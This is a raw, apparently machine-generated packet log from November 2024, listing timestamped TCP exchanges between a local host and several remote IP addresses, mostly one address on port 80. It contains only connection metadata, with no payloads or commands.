Nov 25, 2024 07:53:49.903934956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.904638052 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.904686928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.904717922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.904759884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.905435085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.905488014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.905524015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.905565977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.906342030 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.906352043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.906392097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.906452894 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.906476021 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.906522036 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.906552076 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.906564951 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.906615973 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.907075882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.907126904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.907159090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.907224894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.907896042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.907973051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.907999039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.908035994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.908703089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.908746958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.908772945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.908793926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.909518957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.909568071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.909656048 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.909709930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.910315037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.910352945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.910361052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.910388947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.911149025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.911173105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.911192894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.911212921 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.911950111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.912005901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.912163973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.912210941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.912775040 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.912820101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.912892103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.912938118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.913574934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.913618088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.913666964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.913666964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.920957088 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.920980930 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.921030998 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.921051025 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.921068907 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.921107054 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.022773027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.022902966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.022908926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.022938013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.023201942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.023241997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.023293018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.023421049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.024084091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.024095058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.024127007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.024147034 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.024843931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.024857044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.024902105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.025639057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.025686026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.025687933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.025729895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.026463032 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.026483059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.026525974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.026554108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.027278900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.027331114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.027348995 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.027389050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.028107882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.028156996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.028167963 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.028203011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.028872013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.028917074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.028935909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.028990984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.029758930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.029771090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.029800892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.029823065 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.030226946 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.030253887 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.030313015 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.030347109 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.030364990 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.030462980 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.030531883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.030637026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.030683041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.030796051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.031342983 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.031390905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.031392097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.031429052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.032149076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.032224894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.032341003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.032408953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.033011913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.033066988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.033068895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.033106089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.033791065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.033852100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.033896923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.033977985 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.034591913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.034670115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.034708023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.034756899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.035518885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.035531998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.035573006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.036215067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.036264896 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.036338091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.036391020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.037024975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.037081957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.037127972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.037174940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.037838936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.037914991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.037914991 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.037956953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.038707972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.038754940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.038837910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.038906097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.039479017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.039530993 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.039563894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.039604902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.040277958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.040332079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.040395975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.040452003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.041095018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.041155100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.041198015 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.041917086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.041975021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.041990995 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.042027950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.042623997 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.042648077 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.042711973 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.042721987 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.042737961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.042749882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.042767048 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.042800903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.043519020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.043581009 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.043627977 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.043665886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.044459105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.044471979 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.044507027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.045171976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.045218945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.045283079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.045325041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.046021938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.046068907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.046180010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.046353102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.046977043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.047024012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.047056913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.047099113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.047828913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.047890902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.047899961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.047924995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.048430920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.048475981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.048508883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.048542976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.048887968 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.048959970 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.049014091 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.049175024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.049213886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.049302101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.049448013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.049732924 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.049732924 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.049753904 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.049766064 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.050075054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.050126076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.050160885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.050216913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.051969051 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.052038908 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.052084923 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.052251101 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.052275896 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.052287102 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.052293062 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.053129911 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.053174973 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.053301096 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.053585052 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.053602934 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.054388046 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.054430962 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.054523945 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.054668903 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.054682016 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.055054903 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.055077076 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.055133104 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.055140972 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.055188894 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.067096949 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.067128897 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.067167997 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.067178965 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.067210913 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.067234039 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.077503920 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.077523947 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.077598095 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.077615023 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.077660084 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.086719990 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.086755037 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.086785078 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.086793900 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.086817026 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.086826086 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.086863995 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.087717056 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.087733030 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.099756956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.099841118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.099869967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.099920988 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.100174904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.100236893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.100298882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.100466967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.100954056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.101080894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.101116896 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.101149082 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.101813078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.101861954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.101965904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.102098942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.102448940 CET	443	49897	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.102611065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.102663040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.102747917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.102829933 CET	49897	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.102839947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.102842093 CET	443	49897	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.103185892 CET	443	49897	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.103598118 CET	49897	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.103666067 CET	443	49897	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.123049021 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.123116970 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.123172998 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.127407074 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.127439022 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.127456903 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.127463102 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.130983114 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.131052017 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.131119967 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.131531954 CET	443	49898	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.131917953 CET	49898	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.131931067 CET	443	49898	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.132134914 CET	443	49899	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.132261992 CET	443	49898	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.132385015 CET	49899	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.132396936 CET	443	49899	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.132698059 CET	49898	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.132751942 CET	443	49899	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.132760048 CET	443	49898	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.134057999 CET	49899	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.134126902 CET	443	49899	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:50.147762060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.147902966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.147965908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.148188114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.148237944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.148241997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.148284912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.148494959 CET	49897	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.148977041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.149094105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.149209023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.149772882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.149827957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.149880886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.149940014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.150687933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.150739908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.150758982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.150808096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.151422977 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.151470900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.151537895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.151587009 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.152201891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.152251005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.152297020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.152348042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.153063059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.153110027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.153153896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.153201103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.153845072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.153930902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.153985977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.154659033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.154710054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.154757023 CET	80	49825	185.215.113.206	192.168.2.6
